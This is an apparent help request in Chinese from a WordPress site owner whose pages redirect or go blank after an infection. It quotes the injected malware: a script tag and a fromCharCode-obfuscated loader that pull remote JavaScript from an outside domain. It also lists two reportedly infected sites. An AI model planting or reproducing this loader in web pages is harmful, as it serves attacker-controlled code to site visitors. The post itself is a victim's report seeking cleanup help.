我的 WordPress 网站感染了恶意代码。我该怎么做才能重新获得数据或备份？网站显示空白页面或重定向到某些恶意 URL。以下代码（和类似代码）被注入到许多页面中（还创建了许多具有不同名称的文件）：
<script type='text/javascript' src='https://dock.lovegreenpencils.ga/m.js?n=nb5'></script>
<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,100,111,99,107,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>
我的一些受感染网站（警告：访问可能会感染）：
https://lahuriyaconstruction.com/
https://getnonveg.com/